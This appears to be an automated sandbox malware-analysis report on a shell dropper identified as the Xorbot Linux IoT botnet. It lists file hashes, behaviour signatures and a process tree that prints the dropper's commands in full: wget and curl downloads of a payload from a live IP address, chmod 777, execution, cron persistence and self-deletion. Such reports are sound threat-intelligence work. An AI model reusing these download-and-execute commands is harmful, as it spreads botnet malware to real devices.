Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02/12/2024, 03:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    76cb499bf206bd1606439aa4cb42c17f

  • SHA1

    583a6a1e14a9d811f2e3da46dc1ed703c58c0bc4

  • SHA256

    c28f312b135f4744abe6cba8accf2b65bf9d89642e8c5e1b05c69e21dfd2b3ab

  • SHA512

    fcee5155d2be7d5569befd90710c34d50ae5b4c54a1c554e0fe0ed50e31e6c98fa6216e59a10a1eac872ef13523c987f9f780b67fc65201670fb33085cf27c24

  • SSDEEP

    96:leZwAhF+MMvCSiZ1r3W5IW9phh0UwTCSiZ1Hj3uKap+8X7V9phh0UwweZwAhFjW0:leZwAhFJMs3W5I6seZwAhF6c

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1473
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1474
        • /usr/bin/wget
          wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Writes file to tmp directory
          PID:1475
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Writes file to tmp directory
          PID:1488
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Writes file to tmp directory
          PID:1489
        • /bin/chmod
          chmod 777 zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • File and Directory Permissions Modification
          PID:1490
        • /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          ./zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1491
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1493
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1494
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1495
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1496
              • /bin/rm
                rm zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
                2⤵
                  PID:1499
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
                  2⤵
                    PID:1502

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419

                  Filesize

                  98KB

                  MD5

                  5141342d0df8699fa32a6b066a0c592e

                  SHA1

                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                  SHA256

                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                  SHA512

                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                • /var/spool/cron/crontabs/tmp.4HTlNt

                  Filesize

                  210B

                  MD5

                  b0ecd884800cde2e97fbee4898aa3f4d

                  SHA1

                  cc73044af45db1d16e323db2912b5dd3e7f77b8d

                  SHA256

                  941e7ba29ab1d15bf339fedf8bee050a4b91f16f35933c691fdce232bfd21bfa

                  SHA512

                  5fd35188338f08bad5170ff3fa9102dbf947927058be0b9f3e6ca6a93b0c5ca0ab3dcde79c545cd290d31bb0cc1e442f20bde0c80e494ef90916dd5c43ffc08a